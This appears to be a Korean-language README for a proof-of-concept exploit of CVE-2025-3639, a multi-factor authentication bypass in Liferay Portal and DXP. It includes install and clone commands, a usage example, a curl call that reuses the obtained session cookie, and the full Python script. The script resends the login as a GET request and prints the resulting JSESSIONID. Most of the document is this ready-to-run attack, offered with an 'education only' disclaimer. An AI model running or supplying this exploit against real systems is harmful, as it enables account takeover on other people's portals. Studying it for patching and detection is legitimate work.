
로그인 우회 취약점 in Liferay Portal (버전 7.3.0–7.4.3.132) 및 Liferay DXP (2024.Q1부터 2025.Q1.6까지의 다양한 버전)
이 저장소는 Liferay Portal (버전 7.3.0–7.4.3.132) 및 Liferay DXP (2024.Q1부터 2025.Q1.6까지의 다양한 버전)의 로그인 우회 취약점인 CVE-2025-3639에 대한 개념 증명(PoC)을 포함합니다. PoC는 유효한 자격 증명을 가진 인증되지 않은 사용자가 POST 요청을 GET 요청으로 수정하여 다중 요소 인증(MFA)을 우회하고 잠재적으로 사용자 계정에 무단 액세스할 수 있는 방법을 보여줍니다.
경고: 이 PoC는 교육 목적으로만 제공됩니다. 이 취약점에 대한 무단 테스트 또는 악용은 불법적이고 비윤리적입니다. 시스템 소유자의 명시적인 서면 허가를 받은 경우에만 사용하십시오.
sudo apt-get update
sudo apt-get install python3 python3-requests
pip3 install requests
저장소 복제:
git clone https://github.com/6lj/CVE-2025-3639.git
cd CVE-2025-3639
Python 3 및 requests 라이브러리가 설치되어 있는지 확인:
pip3 install requests
적절한 인수로 PoC 스크립트를 실행합니다 (<target_url>, <username>, <password>를 대상 Liferay 인스턴스 URL 및 유효한 자격 증명으로 바꾸십시오).
poc.pypython3 poc.py --target <target_url> --username <username> --password <password>
--target: Liferay Portal/DXP 인스턴스의 URL (예: http://example.com).--username: 대상 인스턴스의 유효한 사용자 이름.--password: 사용자 이름의 유효한 비밀번호.python3 poc.py --target http://192.168.1.100 --username [email protected] --password Test123!
성공: 익스플로잇이 작동하면 스크립트는 유효한 세션 토큰 또는 MFA 없이 사용자 계정에 액세스했음을 나타내는 성공 메시지를 반환합니다.
curl -b "COOKIE=<session_token>" http://<target_url>/api/jsonws/user/get-current-user
실패: 서버가 오류(예: 401 Unauthorized 또는 403 Forbidden)를 반환하면 인스턴스가 취약하지 않거나 MFA가 활성화되지 않았을 수 있습니다.
트래픽 모니터링: Wireshark와 같은 도구를 사용하여 HTTP 트래픽을 검사:
sudo wireshark -f "tcp port 80 or tcp port 443"
다음은 poc.py의 샘플 코드입니다:
import requests
import argparse
def exploit(target, username, password):
print(f"[*] Attempting CVE-2025-3639 exploit on {target}")
login_url = f"{target}/c/portal/login"
params = {
"p_auth": "",
"login": username,
"password": password
}
try:
response = requests.get(login_url, params=params, allow_redirects=True)
if response.status_code == 200 and "JSESSIONID" in response.cookies:
print(f"[+] Success! Session token: {response.cookies['JSESSIONID']}")
return True
else:
print(f"[-] Failed: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[-] Error: {str(e)}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-3639 PoC for Liferay Portal/DXP")
parser.add_argument("--target", required=True, help="Target Liferay URL (e.g., http://example.com)")
parser.add_argument("--username", required=True, help="Valid username")
parser.add_argument("--password", required=True, help="Valid password")
args = parser.parse_args()
exploit(args.target, args.username, args.password)
이 프로젝트는 교육 목적으로만 제공됩니다. 저자는 이 PoC의 무단 또는 불법 사용에 대해 책임을 지지 않습니다. 테스트 전에 항상 시스템 소유자의 명시적인 허가를 받으십시오.